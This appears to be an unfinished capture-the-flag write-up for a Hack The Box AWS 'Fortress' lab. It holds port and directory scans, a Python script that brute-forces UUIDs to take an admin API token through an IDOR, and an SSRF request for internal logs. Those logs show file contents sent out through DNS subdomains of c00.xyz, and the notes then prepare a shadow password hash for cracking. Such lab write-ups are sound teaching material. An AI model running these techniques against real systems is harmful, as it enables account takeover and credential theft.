AWS

Introduction
This interesting fortress from AWS features a wide variety of realistic and 
current techniques, ranging from web exploitation to cloud privilege 
escalations. This fortress is ideal for those who have a good 
understanding of web penetration testing and a basic knowledge of cloud 
services.

In conquering this Fortress, participants will learn web application 
pentesting, forensics & reversing, cloud exploitation, and Active 
Directory abuse.

┌──(kali㉿kali)-[~/htb/fortress/aws]
└─$ nmap -sCV 10.13.37.15 
Starting Nmap 7.95 ( https://nmap.org ) at 2026-04-02 07:19 EDT
Nmap scan report for 10.13.37.15
Host is up (0.23s latency).
Not shown: 986 closed tcp ports (reset)
PORT     STATE SERVICE       VERSION
53/tcp   open  domain        Simple DNS Plus
80/tcp   open  http          Apache httpd 2.4.52 ((Win64))
|_http-title: Site doesn't have a title (text/html).
| http-methods: 
|_  Potentially risky methods: TRACE
|_http-server-header: Apache/2.4.52 (Win64)
88/tcp   open  kerberos-sec  Microsoft Windows Kerberos (server time: 2026-04-02 11:19:33Z)
135/tcp  open  msrpc         Microsoft Windows RPC
139/tcp  open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: amzcorp.local0., Site: Default-First-Site-Name)
445/tcp  open  microsoft-ds?
464/tcp  open  kpasswd5?
593/tcp  open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp  open  tcpwrapped
2179/tcp open  vmrdp?
3268/tcp open  ldap          Microsoft Windows Active Directory LDAP (Domain: amzcorp.local0., Site: Default-First-Site-Name)
3269/tcp open  tcpwrapped
5985/tcp open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
Service Info: Host: DC01; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
|_clock-skew: 1s
| smb2-security-mode: 
|   3:1:1: 
|_    Message signing enabled and required
| smb2-time: 
|   date: 2026-04-02T11:20:02
|_  start_date: N/A

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 61.23 seconds

└─$ feroxbuster -u http://jobs.amzcorp.local -w /usr/share/seclists/Discovery/Web-Content/common.txt \        
  --depth 3 \
  --threads 50 
                                                                                                                                                                                                                                            
 ___  ___  __   __     __      __         __   ___
|__  |__  |__) |__) | /  `    /  \ \_/ | |  \ |__
|    |___ |  \ |  \ | \__,    \__/ / \ | |__/ |___
by Ben "epi" Risher 🤓                 ver: 2.13.1
───────────────────────────┬──────────────────────
 🎯  Target Url            │ http://jobs.amzcorp.local/
 🚩  In-Scope Url          │ jobs.amzcorp.local
 🚀  Threads               │ 50
 📖  Wordlist              │ /usr/share/seclists/Discovery/Web-Content/common.txt
 👌  Status Codes          │ All Status Codes!
 💥  Timeout (secs)        │ 7
 🦡  User-Agent            │ feroxbuster/2.13.1
 💉  Config File           │ /etc/feroxbuster/ferox-config.toml
 🔎  Extract Links         │ true
 🏁  HTTP methods          │ [GET]
 🔃  Recursion Depth       │ 3
───────────────────────────┴──────────────────────
 🏁  Press [ENTER] to use the Scan Management Menu™
──────────────────────────────────────────────────
404      GET        4l       34w      232c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
200      GET      142l      340w     7951c http://jobs.amzcorp.local/login
302      GET        4l       24w      218c http://jobs.amzcorp.local/ => http://jobs.amzcorp.local/login
200      GET       39l      482w     2337c http://jobs.amzcorp.local/static/assets/img/favicon/safari-pinned-tab.svg
200      GET        1l      522w    31587c http://jobs.amzcorp.local/static/assets/vendor/vanillajs-datepicker/dist/js/datepicker.min.js
200      GET        1l      336w    22690c http://jobs.amzcorp.local/static/assets/vendor/sweetalert2/dist/sweetalert2.min.css
200      GET       91l      166w     2184c http://jobs.amzcorp.local/static/assets/js/notify.js
200      GET        7l       71w     2977c http://jobs.amzcorp.local/static/assets/vendor/chartist-plugin-tooltips/dist/chartist-plugin-tooltip.min.js
200      GET        6l      273w    18835c http://jobs.amzcorp.local/static/assets/vendor/@popperjs/core/dist/umd/popper.min.js
200      GET        2l       92w     6563c http://jobs.amzcorp.local/static/assets/vendor/smooth-scroll/dist/smooth-scroll.polyfills.min.js
200      GET        1l       85w     5159c http://jobs.amzcorp.local/static/assets/vendor/notyf/notyf.min.css
200      GET        1l       92w     7646c http://jobs.amzcorp.local/static/assets/vendor/notyf/notyf.min.js
200      GET        1l      118w     6893c http://jobs.amzcorp.local/static/assets/vendor/onscreen/dist/on-screen.umd.min.js
200      GET       11l      128w    10176c http://jobs.amzcorp.local/static/assets/img/favicon/apple-touch-icon.png
200      GET      104l      301w     5659c http://jobs.amzcorp.local/forgot-password
302      GET        4l       24w      218c http://jobs.amzcorp.local/logout => http://jobs.amzcorp.local/login
200      GET       78l      381w    28525c http://jobs.amzcorp.local/static/assets/img/brand/aws-logo.jpg
200      GET      148l      367w     8441c http://jobs.amzcorp.local/register
200      GET     2332l     3032w    65073c http://jobs.amzcorp.local/static/assets/img/illustrations/signin.svg
200      GET      254l      521w    21305c http://jobs.amzcorp.local/static/assets/img/illustrations/404.svg
403      GET       90l      212w     4334c http://jobs.amzcorp.local/settings
[####################] - 84s     4825/4825    0s      found:20      errors:290    
[####################] - 84s     4751/4751    57/s    http://jobs.amzcorp.local/ 

"use strict";
const d = document;
d.addEventListener("DOMContentLoaded", function (event) {

    const swalWithBootstrapButtons = Swal.mixin({
        customClass: {
            confirmButton: 'btn btn-primary me-3',
            cancelButton: 'btn btn-gray'
        },
        buttonsStyling: false
    });

    var themeSettingsEl = document.getElementById('theme-settings');
    var themeSettingsExpandEl = document.getElementById('theme-settings-expand');

    if (themeSettingsEl) {

        var themeSettingsCollapse = new bootstrap.Collapse(themeSettingsEl, {
            show: true,
            toggle: false
        });

        if (window.localStorage.getItem('settings_expanded') === 'true') {
            themeSettingsCollapse.show();
            themeSettingsExpandEl.classList.remove('show');
        } else {
            themeSettingsCollapse.hide();
            themeSettingsExpandEl.classList.add('show');
        }

        themeSettingsEl.addEventListener('hidden.bs.collapse', function () {
            themeSettingsExpandEl.classList.add('show');
            window.localStorage.setItem('settings_expanded', false);
        });

        themeSettingsExpandEl.addEventListener('click', function () {
            themeSettingsExpandEl.classList.remove('show');
            window.localStorage.setItem('settings_expanded', true);
            setTimeout(function () {
                themeSettingsCollapse.show();
            }, 300);
        });
    }

    const breakpoints = {
        sm: 540,
        md: 720,
        lg: 960,
        xl: 1140
    };

    var sidebar = document.getElementById('sidebarMenu')
    if (sidebar && d.body.clientWidth < breakpoints.lg) {
        sidebar.addEventListener('shown.bs.collapse', function () {
            document.querySelector('body').style.position = 'fixed';
        });
        sidebar.addEventListener('hidden.bs.collapse', function () {
            document.querySelector('body').style.position = 'relative';
        });
    }

    var iconNotifications = d.querySelector('.notification-bell');
    if (iconNotifications) {
        iconNotifications.addEventListener('shown.bs.dropdown', function () {
            iconNotifications.classList.remove('unread');
        });
    }

    [].slice.call(d.querySelectorAll('[data-background]')).map(function (el) {
        el.style.background = 'url(' + el.getAttribute('data-background') + ')';
    });

    [].slice.call(d.querySelectorAll('[data-background-lg]')).map(function (el) {
        if (document.body.clientWidth > breakpoints.lg) {
            el.style.background = 'url(' + el.getAttribute('data-background-lg') + ')';
        }
    });

    [].slice.call(d.querySelectorAll('[data-background-color]')).map(function (el) {
        el.style.background = 'url(' + el.getAttribute('data-background-color') + ')';
    });

    [].slice.call(d.querySelectorAll('[data-color]')).map(function (el) {
        el.style.color = 'url(' + el.getAttribute('data-color') + ')';
    });

    var tooltipTriggerList = [].slice.call(document.querySelectorAll('[data-bs-toggle="tooltip"]'))
    var tooltipList = tooltipTriggerList.map(function (tooltipTriggerEl) {
        return new bootstrap.Tooltip(tooltipTriggerEl)
    })

    var popoverTriggerList = [].slice.call(document.querySelectorAll('[data-bs-toggle="popover"]'))
    var popoverList = popoverTriggerList.map(function (popoverTriggerEl) {
        return new bootstrap.Popover(popoverTriggerEl)
    })

    var datepickers = [].slice.call(d.querySelectorAll('[data-datepicker]'))
    var datepickersList = datepickers.map(function (el) {
        return new Datepicker(el, {
            buttonClass: 'btn'
        });
    })

    if (d.querySelector('.input-slider-container')) {
        [].slice.call(d.querySelectorAll('.input-slider-container')).map(function (el) {
            var slider = el.querySelector(':scope .input-slider');
            var sliderId = slider.getAttribute('id');
            var minValue = slider.getAttribute('data-range-value-min');
            var maxValue = slider.getAttribute('data-range-value-max');

            var sliderValue = el.querySelector(':scope .range-slider-value');
            var sliderValueId = sliderValue.getAttribute('id');
            var startValue = sliderValue.getAttribute('data-range-value-low');

            var c = d.getElementById(sliderId),
                id = d.getElementById(sliderValueId);

            noUiSlider.create(c, {
                start: [parseInt(startValue)],
                connect: [true, false],

                range: {
                    'min': [parseInt(minValue)],
                    'max': [parseInt(maxValue)]
                }
            });
        });
    }

    if (d.getElementById('input-slider-range')) {
        var c = d.getElementById("input-slider-range"),
            low = d.getElementById("input-slider-range-value-low"),
            e = d.getElementById("input-slider-range-value-high"),
            f = [d, e];

        noUiSlider.create(c, {
            start: [parseInt(low.getAttribute('data-range-value-low')), parseInt(e.getAttribute('data-range-value-high'))],
            connect: !0,
            tooltips: true,
            range: {
                min: parseInt(c.getAttribute('data-range-value-min')),
                max: parseInt(c.getAttribute('data-range-value-max'))
            }
        }), c.noUiSlider.on("update", function (a, b) {
            f[b].textContent = a[b]
        });
    }

    if (d.querySelector('.ct-chart-sales-value')) {

        new Chartist.Line('.ct-chart-sales-value', {
            labels: ['Mon', 'Tue', 'Wed', 'Thu', 'Fri', 'Sat', 'Sun'],
            series: [
                [0, 10, 30, 40, 80, 60, 100]
            ]
        }, {
            low: 0,
            showArea: true,
            fullWidth: true,
            plugins: [
                Chartist.plugins.tooltip()
            ],
            axisX: {

                position: 'end',
                showGrid: true
            },
            axisY: {

                showGrid: false,
                showLabel: false,
                labelInterpolationFnc: function (value) {
                    return '$' + (value / 1) + 'k';
                }
            }
        });
    }

    if (d.querySelector('.ct-chart-ranking')) {
        var chart = new Chartist.Bar('.ct-chart-ranking', {
            labels: ['Mon', 'Tue', 'Wed', 'Thu', 'Fri', 'Sat'],
            series: [
                [1, 5, 2, 5, 4, 3],
                [2, 3, 4, 8, 1, 2],
            ]
        }, {
            low: 0,
            showArea: true,
            plugins: [
                Chartist.plugins.tooltip()
            ],
            axisX: {

                position: 'end'
            },
            axisY: {

                showGrid: false,
                showLabel: false,
                offset: 0
            }
        });

        chart.on('draw', function (data) {
            if (data.type === 'line' || data.type === 'area') {
                data.element.animate({
                    d: {
                        begin: 2000 * data.index,
                        dur: 2000,
                        from: data.path.clone().scale(1, 0).translate(0, data.chartRect.height()).stringify(),
                        to: data.path.clone().stringify(),
                        easing: Chartist.Svg.Easing.easeOutQuint
                    }
                });
            }
        });
    }

    if (d.querySelector('.ct-chart-traffic-share')) {
        var data = {
            series: [70, 20, 10]
        };

        var sum = function (a, b) {
            return a + b
        };

        new Chartist.Pie('.ct-chart-traffic-share', data, {
            labelInterpolationFnc: function (value) {
                return Math.round(value / data.series.reduce(sum) * 100) + '%';
            },
            low: 0,
            high: 8,
            donut: true,
            donutWidth: 20,
            donutSolid: true,
            fullWidth: false,
            showLabel: false,
            plugins: [
                Chartist.plugins.tooltip()
            ],
        });
    }

    if (d.getElementById('loadOnClick')) {
        d.getElementById('loadOnClick').addEventListener('click', function () {
            var button = this;
            var loadContent = d.getElementById('extraContent');
            var allLoaded = d.getElementById('allLoadedText');

            button.classList.add('btn-loading');
            button.setAttribute('disabled', 'true');

            setTimeout(function () {
                loadContent.style.display = 'block';
                button.style.display = 'none';
                allLoaded.style.display = 'block';
            }, 1500);
        });
    }

    var scroll = new SmoothScroll('a[href*="#"]', {
        speed: 500,
        speedAsDuration: true
    });

    if (d.querySelector('.current-year')) {
        d.querySelector('.current-year').textContent = new Date().getFullYear();
    }

    if (d.querySelector('.glide')) {
        new Glide('.glide', {
            type: 'carousel',
            startAt: 0,
            perView: 3
        }).mount();
    }

    if (d.querySelector('.glide-testimonials')) {
        new Glide('.glide-testimonials', {
            type: 'carousel',
            startAt: 0,
            perView: 1,
            autoplay: 2000
        }).mount();
    }

    if (d.querySelector('.glide-clients')) {
        new Glide('.glide-clients', {
            type: 'carousel',
            startAt: 0,
            perView: 5,
            autoplay: 2000
        }).mount();
    }

    if (d.querySelector('.glide-news-widget')) {
        new Glide('.glide-news-widget', {
            type: 'carousel',
            startAt: 0,
            perView: 1,
            autoplay: 2000
        }).mount();
    }

    if (d.querySelector('.glide-autoplay')) {
        new Glide('.glide-autoplay', {
            type: 'carousel',
            startAt: 0,
            perView: 3,
            autoplay: 2000
        }).mount();
    }

    var billingSwitchEl = d.getElementById('billingSwitch');
    if (billingSwitchEl) {
        const countUpStandard = new countUp.CountUp('priceStandard', 99, {
            startVal: 199
        });
        const countUpPremium = new countUp.CountUp('pricePremium', 199, {
            startVal: 299
        });

        billingSwitchEl.addEventListener('change', function () {
            if (billingSwitch.checked) {
                countUpStandard.start();
                countUpPremium.start();
            } else {
                countUpStandard.reset();
                countUpPremium.reset();
            }
        });
    }

});

SetDatePicker();

$(document).ready(function () {

    $('.item-row').on('click', '.delete_item', function (event) {
        event.preventDefault();
        var btn = $(this);
        var url = btn.data('href');
        var param = [];
        param['url'] = url;
        param['btn'] = btn;

        $.confirm({
            title: 'Warning!',
            content: 'Are you sure you want to delete?',
            type: 'red',
            buttons: {
                yes: function () {
                    AjaxRemoveItem(param);
                },
                no: function () {}
            }
        }, );
    });

    $('.item-row').dblclick(function (event) {
        event.preventDefault();
        var item = $(this);
        var url = item.data('edit');
        var param = [];
        param['url'] = url;
        param['item'] = item;
        AjaxGetEditRowForm(param);
    });

    $('.item-row').on('click', '.save_form', function (event) {
        event.preventDefault();
        var btn = $(this);
        SaveItem(btn);
    });

    $('.item-row').keyup('.value', function (event) {
        if (event.keyCode === 13) {
            event.preventDefault();
            var btn = $(this);
            SaveItem(btn);
        }
    });
    $('.item-row').keyup('.name', function (event) {
        if (event.keyCode === 13) {
            event.preventDefault();
            var btn = $(this);
            SaveItem(btn);
        }
    });

    $('.item-row').on('click', '.cancel_form', function (event) {
        event.preventDefault();
        var btn = $(this);
        var item = btn.closest('.item-row');
        var url = item.data('detail');
        var param = [];
        param['url'] = url;
        param['item'] = item;
        AjaxGetEditRowDetail(param);
    });
});

function AjaxGetEditRowDetail(param) {
    $.ajax({
        url: param['url'],
        type: 'GET',
        success: function (data) {
            param['item'].html(data);
        },
        error: function () {
            notification.error('Error occurred');
        }
    });
}

function AjaxGetEditRowForm(param) {
    $.ajax({
        url: param['url'],
        type: 'GET',
        success: function (data) {
            param['item'].html(data);
            SetDatePicker();
        },
        error: function () {
            notification.error('Error occurred');
        }
    });
}

function AjaxPutEditRowForm(param) {
    $.ajax({
        url: param['url'],
        type: 'PUT',
        data: param['query'],
        beforeSend: function (xhr) {
            xhr.setRequestHeader("X-CSRFToken", $.cookie('csrftoken'));
        },
        success: function (data) {
            notification[data.valid](data.message);

            if (data.valid === 'success') {
                param['item'].html(data.edit_row);
                SetDatePicker();
            }
        },
        error: function () {
            toastr.error('Error occurred');
        }
    });
}

function AjaxRemoveItem(param) {
    $.ajax({
        url: param['url'],
        type: 'DELETE',
        data: param['query'],
        beforeSend: function (xhr) {
            xhr.setRequestHeader("X-CSRFToken", $.cookie('csrftoken'));
        },
        success: function (data) {
            if (data.valid !== 'success')
                notification[data.valid](data.message);

            if (data.valid === 'success') {
                if (data.redirect_url) {
                    window.location.replace(data.redirect_url);
                } else {
                    notification[data.valid](data.message);
                    var item_row = param['btn'].closest('.item-row');
                    item_row.hide('slow', function () {
                        item_row.remove();
                    });
                }
            }
        },
        error: function () {
            toastr.error('Error occurred');
        }
    });
}

function SaveItem(btn) {
    var item = btn.closest('.item-row');
    var url = item.data('edit');
    var param = [];
    param['url'] = url;
    param['item'] = item;
    param['query'] = $('.value').serialize() + '&' + $('.name').serialize() + '&' + $('.type').serialize();
    AjaxPutEditRowForm(param);
}

function SetDatePicker() {
    var datepickers = [].slice.call(d.querySelectorAll('.datepicker_input'));
    datepickers.map(function (el) {
        return new Datepicker(el, {
            format: 'yyyy-mm-dd'
        });
    });
}

function GenerateToken() {
    var generate_token = document.getElementById('generate_token');
    var api_token = document.getElementById('api_token');
    var output = document.getElementById('output');
    output.innerHTML = '';
    if (username.value == "") {
        output.innerHTML = "Username value cannot be empty!";
        setTimeout(() => {
            document.getElementById('closeAlert');
        }, 2000);
        return;
    }
    xhr.open('POST', '/api/v4/tokens/generate_token');
    xhr.responseType = 'json';
    xhr.onload = function (e) {
        if (this.status == 200) {
            api_token.append(this.response['token']);
        }
    };
    data = {
        "generate_token": generate_token
    }
    xhr.send(data);
}

function GetToken() {
    var uuid = document.getElementById('uuid');
    var username = document.getElementById('username');
    var api_token = document.getElementById('api_token');
    var output = document.getElementById('output');
    output.innerHTML = '';
    if (username.value == "") {
        output.innerHTML = "Username value cannot be empty!";
        setTimeout(() => {
            document.getElementById('closeAlert');
        }, 2000);
        return;
    }
    xhr.open('POST', '/api/v4/tokens/get');
    xhr.responseType = 'json';
    xhr.onload = function (e) {
        if (this.status == 200) {
            api_token.append(this.response['token']);
        }
    };
    data = btoa('{"get_token": "True", "uuid":' + uuid ',"username":' + username + '}');
    xhr.send({
        "data": data
    });
}

function GetLogData() {
    var log_table = document.getElementById('log_table');
    const xhr = new XMLHttpRequest();

    xhr.open('GET', '/api/v4/logs/get_logs');
    xhr.responseType = 'json';
    xhr.onload = function (e) {
        if (this.status == 200) {
            log_table.append(this.response['log']);
        }
    };
    xhr.send();
}

function GenerateToken() {
    var generate_token = document.getElementById('generate_token');
    var api_token = document.getElementById('api_token');
    var output = document.getElementById('output');
    output.innerHTML = '';
    if (username.value == "") {
        output.innerHTML = "Username value cannot be empty!";
        setTimeout(() => {
            document.getElementById('closeAlert');
        }, 2000);
        return;
    }
    xhr.open('POST', '/api/v4/tokens/generate');
    xhr.responseType = 'json';
    xhr.onload = function (e) {
        if (this.status == 200) {
            api_token.append(this.response['token']);
        }
    };
    data = {
        "generate_token": generate_token
    }
    xhr.send(data);
}

function GetToken() {
    var uuid = document.getElementById('uuid');
    var username = document.getElementById('username');
    var api_token = document.getElementById('api_token');
    var output = document.getElementById('output');
    output.innerHTML = '';
    if (username.value == "") {
        output.innerHTML = "Username value cannot be empty!";
        setTimeout(() => {
            document.getElementById('closeAlert');
        }, 2000);
        return;
    }
    xhr.open('POST', '/api/v4/tokens/get');
    xhr.responseType = 'json';
    xhr.onload = function (e) {
        if (this.status == 200) {
            api_token.append(this.response['token']);
        }
    };
    data = btoa('{"get_token": "True", "uuid":' + uuid ',"username":' + username + '}');
    xhr.send({
        "data": data
    });
}

function GetLogData() {
    var log_table = document.getElementById('log_table');
    const xhr = new XMLHttpRequest();

    xhr.open('GET', '/api/v4/logs/get');
    xhr.responseType = 'json';
    xhr.onload = function (e) {
        if (this.status == 200) {
            log_table.append(this.response['log']);
        } else {
            log_table.append("Error retrieving logs from logs.amzcorp.local");
        }
    };
    xhr.send();
}

import requests
import base64
import sys
from pwn import log
from tqdm import tqdm

# ================== CONFIG ==================
TARGET = "http://jobs.amzcorp.local/api/v4/tokens/get"

COOKIES = {
    "session": ".eJw1TstuAyEM_BfOVWUwNian_kTOKwOmjZrNSuzmVPXfQ1L1MtK8NPPjlj5s_3KnY9ztzS2X5k7OYkgYA7LnrrEXDILASEnUBAg51ZjEAseMlH1sXWLPyMhEGnLnnKklo56gUonSCEGMmrXMtWTISampNGbwmGPXAsVbEV-FvVlx88h9t_H3xkPyU6n76MuxfdttalVbbaTSi0IAoBqCb1iAkgoVzGZao4Rnz1a9XGflc2zb8fHC97qt0xnb1aZxnkv7pM_Fm672n3W_D8LHUy4.ac5Svg.yZAAgcXlu8f6vlH3kOH8rdFcivU"
}

HEADERS = {
    "Content-Type": "application/json",
    "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"
}

# Brute-force range (you can increase this)
START = 0
END   = 5000          # Many writeups found it under 1000-3000
# ===========================================

bar = log.progress("Brute-forcing UUID")

for uuid in tqdm(range(START, END + 1), desc="Testing UUIDs"):
    try:
        # Build the exact payload as shown in the JS (with username: admin)
        data_str = f'{{"get_token":"True", "uuid":"{uuid}","username":"admin"}}'
        
        # Base64 encode it
        encoded = base64.b64encode(data_str.encode('utf-8')).decode('utf-8')
        
        payload = {"data": encoded}

        r = requests.post(TARGET, headers=HEADERS, cookies=COOKIES, json=payload, timeout=10)

        bar.status(f"Testing {uuid}")

        # Success condition: response does NOT contain "Invalid"
        if r.status_code == 200 and "Invalid" not in r.text:
            bar.success(f"Found valid UUID → {uuid}")
            print("\n" + "="*60)
            print("SUCCESSFUL RESPONSE:")
            print(r.text.strip())
            print("="*60)
            
            # Optionally save to file
            with open("admin_token.txt", "w") as f:
                f.write(r.text)
            sys.exit(0)

    except KeyboardInterrupt:
        print("\n[!] Stopped by user.")
        sys.exit(1)
    except Exception as e:
        continue  # Skip network errors silently

bar.failure(f"No valid UUID found in range {START}-{END}")
print("[!] Try increasing the END value or test username variations.")

SUCCESSFUL RESPONSE:
{
  "flag": "AWS{S1mPl3_iD0R_4_4dm1N}", 
  "token": "98d7f87065c5242ef5d3f6973720293ec58e434281e8195bef26354a6f0e931a1fd50a72ebfc8ead820cb38daca218d771d381259fd5d1a050b6620d1066022a", 
  "username": "admin", 
  "uuid": "955
 }

└─$ feroxbuster -u http://jobs.amzcorp.local/api/v4 \
  -w /usr/share/seclists/Discovery/Web-Content/api/api-endpoints-res.txt \
  --depth 3 --threads 40
                                                                                                                                                                                                                                            
 ___  ___  __   __     __      __         __   ___
|__  |__  |__) |__) | /  `    /  \ \_/ | |  \ |__
|    |___ |  \ |  \ | \__,    \__/ / \ | |__/ |___
by Ben "epi" Risher 🤓                 ver: 2.13.1
───────────────────────────┬──────────────────────
 🎯  Target Url            │ http://jobs.amzcorp.local/api/v4
 🚩  In-Scope Url          │ jobs.amzcorp.local
 🚀  Threads               │ 40
 📖  Wordlist              │ /usr/share/seclists/Discovery/Web-Content/api/api-endpoints-res.txt
 👌  Status Codes          │ All Status Codes!
 💥  Timeout (secs)        │ 7
 🦡  User-Agent            │ feroxbuster/2.13.1
 💉  Config File           │ /etc/feroxbuster/ferox-config.toml
 🔎  Extract Links         │ true
 🏁  HTTP methods          │ [GET]
 🔃  Recursion Depth       │ 3
───────────────────────────┴──────────────────────
 🏁  Press [ENTER] to use the Scan Management Menu™
──────────────────────────────────────────────────
404      GET        4l       34w      232c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
200      GET       32l       47w      549c http://jobs.amzcorp.local/api/v4/status

└─$ curl http://jobs.amzcorp.local/api/v4/status                                  

{
  "site_status": [
    {
      "site": "amzcorp.local", 
      "status": "OK"
    }, 
    {
      "site": "jobs.amzcorp.local", 
      "status": "OK"
    }, 
    {
      "site": "services.amzcorp.local", 
      "status": "OK"
    }, 
    {
      "site": "cloud.amzcorp.local", 
      "status": "OK"
    }, 
    {
      "site": "inventory.amzcorp.local", 
      "status": "OK"
    }, 
    {
      "site": "workflow.amzcorp.local", 
      "status": "OK"
    }, 
    {
      "site": "company-support.amzcorp.local", 
      "status": "OK"
    }
  ]
}
 

curl -s http://jobs.amzcorp.local/api/v4/status -d '{"url":"http://logs.amzcorp.local"}' -b api_token=98d7f87065c5242ef5d3f6973720293ec58e434281e8195bef26354a6f0e931a1fd50a72ebfc8ead820cb38daca218d771d381259fd5d1a050b6620d1066022a -H 'Content-Type: application/json' | sed 's/\\n/\n/g' | sed 's/\\//g'| sed 's/""//g' > logs.json

    "url": "/static/assets/img/brand/light.svg"
  }, 
  {
    "hostname": "jobs.amzcorp.local", 
    "ip_address": "172.21.10.12", 
    "method": "GET", 
    "requester_ip": "90.76.241.245", 
    "url": "/static/assets/vendor/notyf/notyf.min.css"
  }, 
  {
    "hostname": "jobs.amzcorp.local", 
    "ip_address": "172.21.10.12", 
    "method": "GET", 
    "requester_ip": "160.94.6.54", 
    "url": "/static/assets/vendor/smooth-scroll/dist/smooth-scroll.polyfills.min.js"
  }, 
  {
    "hostname": "c2FzbDp4OjQ1Ogo.c00.xyz", 
    "ip_address": "129.141.123.251", 
    "method": "GET", 
    "requester_ip": "172.22.11.10", 
    "url": "/"
  }
]
""

import re
import base64
import json
from pathlib import Path

def decode_b64(b64_str):
    """Try to decode base64 with different padding and methods"""
    for padding in ['', '==', '=', '=']:
        try:
            decoded = base64.b64decode(b64_str + padding).decode('utf-8', errors='ignore').strip()
            if decoded:
                return decoded
        except:
            pass
        
        # Try URL-safe base64 (common in such challenges)
        try:
            decoded = base64.urlsafe_b64decode(b64_str + padding).decode('utf-8', errors='ignore').strip()
            if decoded:
                return decoded
        except:
            pass
    return "[Decode Failed]"

# ===================== MAIN =====================
filename = "logs.json"

print(f"[*] Reading file: {filename}\n")

try:
    content = Path(filename).read_text(encoding='utf-8')
except FileNotFoundError:
    print(f"[!] Error: {filename} not found!")
    exit(1)
except Exception as e:
    print(f"[!] Error reading file: {e}")
    exit(1)

# Extract base64 parts before .c00.xyz
pattern = r'([A-Za-z0-9+/=]{15,})\.c00\.xyz'
matches = re.findall(pattern, content)

if not matches:
    print("[!] No base64-encoded hostnames found.")
    exit(0)

print(f"[+] Found {len(matches)} base64 hostnames:\n")
print("=" * 85)

for i, b64 in enumerate(matches, 1):
    decoded = decode_b64(b64)
    print(f"{i:2d}. Encoded : {b64}")
    print(f"    Decoded : {decoded}")
    print("-" * 85)

# Save results to file
output_file = "decoded_hosts.txt"
with open(output_file, "w", encoding="utf-8") as f:
    f.write(f"Extracted from: {filename}\n")
    f.write(f"Total found  : {len(matches)}\n\n")
    for i, b64 in enumerate(matches, 1):
        decoded = decode_b64(b64)
        f.write(f"{i:2d}. Encoded : {b64}\n")
        f.write(f"    Decoded : {decoded}\n")
        f.write("-" * 85 + "\n")

print(f"\n[*] Results saved to: {output_file}"

import re
import base64
from pathlib import Path

def decode_b64(b64_str):
    """Decode base64 with multiple attempts"""
    for padding in ['', '==', '=', '=']:
        try:
            decoded = base64.b64decode(b64_str + padding).decode('utf-8', errors='ignore').strip()
            if decoded:
                return decoded
        except:
            pass
        try:
            decoded = base64.urlsafe_b64decode(b64_str + padding).decode('utf-8', errors='ignore').strip()
            if decoded:
                return decoded
        except:
            pass
    return "[Decode Failed]"

# ===================== MAIN =====================
filename = "logs.json"

content = Path(filename).read_text(encoding='utf-8')

# Extract all base64 parts
pattern = r'([A-Za-z0-9+/=]{15,})\.c00\.xyz'
matches = re.findall(pattern, content)

if not matches:
    print("[!] No base64 hostnames found.")
    exit(0)

print(f"[+] Found {len(matches)} decoded fragments from different files\n")
print("=" * 90)

current_file = None
file_counter = 0

for i, b64 in enumerate(matches, 1):
    decoded = decode_b64(b64)
    
    # Try to detect which file this line belongs to
    if "x:" in decoded and ":" in decoded and any(x in decoded for x in [":0:", ":1:", ":2:", ":3:", ":4:"]):
        file_type = "/etc/passwd"
    elif "nameserver" in decoded.lower():
        file_type = "/etc/resolv.conf"
    elif "crontab" in decoded.lower() or "minute" in decoded.lower() or "hour" in decoded.lower():
        file_type = "/etc/crontab"
    elif "ip6-all" in decoded or "::1" in decoded or "127.0.0.1" in decoded:
        file_type = "/etc/hosts"
    else:
        file_type = "Other / Unknown"

    # Print nice header when file type changes
    if file_type != current_file:
        if current_file is not None:
            print("-" * 90)
        print(f"\n📁 FILE: {file_type}")
        print("=" * 90)
        current_file = file_type
        file_counter += 1

    print(f"{decoded}")

print("\n" + "=" * 90)
print(f"Total fragments extracted: {len(matches)}")
print(f"Unique file types detected: {file_counter}")

┌──(myvenv)─(kali㉿kali)-[~/htb/fortress/aws]
└─$ echo 'tom:$6$uUyJe0OuP6ef7rWH$OJ6QE0M.viY.fay4hJuwTrEiOEZoH7yhrlErjBM/VxiikK7PkLibf8xbQiogWiVvHOH8mEG1ItylF36eTxMpz/:19032:0:99999:7:::' >tomshadow.txt
                                                                                                                                                                                                                                            
┌──(myvenv)─(kali㉿kali)-[~/htb/fortress/aws]
└─$ echo 'tom:x:1000:1000::/home/tom:/bin/sh'>tompasswd.txt                                                                                                
                                                                                                                                                                                                                                            
┌──(myvenv)─(kali㉿kali)-[~/htb/fortress/aws]
└─$ unshadow tompasswd.txt tomshadow.txt 
tom:$6$uUyJe0OuP6ef7rWH$OJ6QE0M.viY.fay4hJuwTrEiOEZoH7yhrlErjBM/VxiikK7PkLibf8xbQiogWiVvHOH8mEG1ItylF36eTxMpz/:1000:1000::/home/tom:/bin/sh
                                                                                                                                                                                                                                            
┌──(myvenv)─(kali㉿kali)-[~/htb/fortress/aws]
└─$ unshadow tompasswd.txt tomshadow.txt >tomhash.txt

┌──(kali㉿kali)-[~/htb/fortress/aws]
└─$ grep -A5 -B1 jobs-development.amzcorp.local logs.json | sort -u
  {
  }, 
    "hostname": "jobs-development.amzcorp.local", 
    "ip_address": "172.21.10.11", 
    "method": "GET", 
    "requester_ip": "129.141.123.251", 
    "url": "/.git"

def update_password(email, email_token_key, password):

    user = Users.query.filter_by(email_token_key=email_token_key, email=email).first()

    if user:
        user.password = hash_pass(password)
        user.email_token_key = None
        db.session.add(user)
        db.session.commit()
        return True
    else:
        return False    

┌──(myvenv)─(kali㉿kali)-[~/…/aws/job-development_gitDump/jobs_portal/apps]
└─$ echo '{"username":"groot","email":"[email protected]","role":"Administrators"}' | base64 -w0
eyJ1c2VybmFtZSI6Imdyb290IiwiZW1haWwiOiJncm9vdEBncm9vdC5jb20iLCJyb2xlIjoiQWRtaW5pc3RyYXRvcnMifQo= 

AWS_ACCESS_KEY_ID:[REDACTED_KEY_ID],
AWS_SECRET_ACCESS_KEY:[REDACTED_SECRET_KEY],
